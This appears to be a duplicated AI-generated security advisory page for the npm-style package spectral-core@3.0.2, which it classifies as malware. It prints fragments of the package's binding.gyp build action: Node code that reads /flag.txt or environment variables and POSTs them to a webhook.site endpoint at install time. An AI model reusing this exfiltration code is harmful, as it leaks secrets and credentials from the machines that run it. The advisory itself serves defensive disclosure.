registry / Data exfiltration / spectral-core / 3.0.2

spectral-core@3.0.2

Spectral analysis core utilities

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The package’s native build action performs unconsented collection and remote transmission of local data. This is concrete malicious behavior and warrants blocking publication.

Static reason

No blocking static signals were detected.

Trigger

A package install that invokes the native build associated with `gypfile: true`.

Impact

Sensitive local data can be disclosed to a remote recipient.

Mechanism

The action reads `/flag.txt`, falls back to matching files or environment data, writes the result locally, and POSTs it to `webhook.site`.

Attack narrative

The manifest enables native build handling. Its build action runs a Node command that attempts to read a local flag, falls back to matching files or environment data, writes the collected value to a local file, and sends it in a POST request to a fixed `webhook.site` endpoint.

AI rationale

The package’s native build action performs unconsented collection and remote transmission of local data. This is concrete malicious behavior and warrants blocking publication.

Evidence

package.jsonbinding.gyp/flag.txt/app/static/FINAL_FLAG.txt

Network endpoints1

webhook.site

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest enables native build handling with `gypfile: true`.
The build action runs Node code that reads `/flag.txt` and falls back to matching files or environment data, then writes the result to `/app/static/FINAL_FLAG.txt`.
The action POSTs the collected data to a fixed `webhook.site` endpoint.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 62 B of source

Source & flagged code

6 flagged

binding.gypView file

1"action":["node","-e","try{var f=require('fs'),h=require('https'),c=require('child_process');var d='';try{d=f.readFileSync('/flag.txt','utf8')}catch(e){try{d=c.execSync('cat /flag*

High

Ai Review Evidence

The build action runs Node code that reads `/flag.txt` and falls back to matching files or environment data, then writes the result to `/app/static/FINAL_FLAG.txt`.

binding.gypView on unpkg · L1

1f.readFileSync('/flag.txt','utf8')}catch(e){try{d=c.execSync('cat /flag* 2>/dev/null||env',{encoding:'utf8'})}catch(e2){d='noflag'}}try{f.writeFileSync('/app/static/FINAL_FLAG.txt'

High

Ai Review Evidence

The build action runs Node code that reads `/flag.txt` and falls back to matching files or environment data, then writes the result to `/app/static/FINAL_FLAG.txt`.

binding.gypView on unpkg · L1

1hostname:'webhook.site',port:443,path:'/d6092bdc-05c0-45da-a280-c343ea6d6156',method:'POST',headers:{'Content-Type':'text/plain'}};var r=h.request(o,function(){});r.write(d);r.end(

High

Ai Review Evidence

The action POSTs the collected data to a fixed `webhook.site` endpoint.

binding.gypView on unpkg · L1

Findings

1 Critical4 High1 Medium

CriticalManifest Confusionpackage.json

HighAi Review Evidencepackage.json

HighAi Review Evidencebinding.gyp

MediumShips Build Helperbinding.gyp

Affected versions and remediation

This report applies to spectral-core@3.0.2.

See all versions of spectral-core for other recorded verdicts.

Avoid installing spectral-core@3.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-03 05:00:12.367Z (UTC).

Source advisory published: 2026-10-29 00:06:14.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

registry / Data exfiltration / spectral-core / 3.0.2

spectral-core@3.0.2

Spectral analysis core utilities

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The package’s native build action performs unconsented collection and remote transmission of local data. This is concrete malicious behavior and warrants blocking publication.

Static reason

No blocking static signals were detected.

Trigger

A package install that invokes the native build associated with `gypfile: true`.

Impact

Sensitive local data can be disclosed to a remote recipient.

Mechanism

The action reads `/flag.txt`, falls back to matching files or environment data, writes the result locally, and POSTs it to `webhook.site`.

Attack narrative

AI rationale

The package’s native build action performs unconsented collection and remote transmission of local data. This is concrete malicious behavior and warrants blocking publication.

Evidence

package.jsonbinding.gyp/flag.txt/app/static/FINAL_FLAG.txt

Network endpoints1

webhook.site

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest enables native build handling with `gypfile: true`.
The build action runs Node code that reads `/flag.txt` and falls back to matching files or environment data, then writes the result to `/app/static/FINAL_FLAG.txt`.
The action POSTs the collected data to a fixed `webhook.site` endpoint.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 62 B of source

Source & flagged code

6 flagged

binding.gypView file

1"action":["node","-e","try{var f=require('fs'),h=require('https'),c=require('child_process');var d='';try{d=f.readFileSync('/flag.txt','utf8')}catch(e){try{d=c.execSync('cat /flag*

High

Ai Review Evidence

The build action runs Node code that reads `/flag.txt` and falls back to matching files or environment data, then writes the result to `/app/static/FINAL_FLAG.txt`.

binding.gypView on unpkg · L1

1f.readFileSync('/flag.txt','utf8')}catch(e){try{d=c.execSync('cat /flag* 2>/dev/null||env',{encoding:'utf8'})}catch(e2){d='noflag'}}try{f.writeFileSync('/app/static/FINAL_FLAG.txt'

High

Ai Review Evidence

The build action runs Node code that reads `/flag.txt` and falls back to matching files or environment data, then writes the result to `/app/static/FINAL_FLAG.txt`.

binding.gypView on unpkg · L1

1hostname:'webhook.site',port:443,path:'/d6092bdc-05c0-45da-a280-c343ea6d6156',method:'POST',headers:{'Content-Type':'text/plain'}};var r=h.request(o,function(){});r.write(d);r.end(

High

Ai Review Evidence

The action POSTs the collected data to a fixed `webhook.site` endpoint.

binding.gypView on unpkg · L1

Findings

1 Critical4 High1 Medium

CriticalManifest Confusionpackage.json

HighAi Review Evidencepackage.json

HighAi Review Evidencebinding.gyp

MediumShips Build Helperbinding.gyp

Affected versions and remediation

This report applies to spectral-core@3.0.2.

See all versions of spectral-core for other recorded verdicts.

Avoid installing spectral-core@3.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-03 05:00:12.367Z (UTC).

Source advisory published: 2026-10-29 00:06:14.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages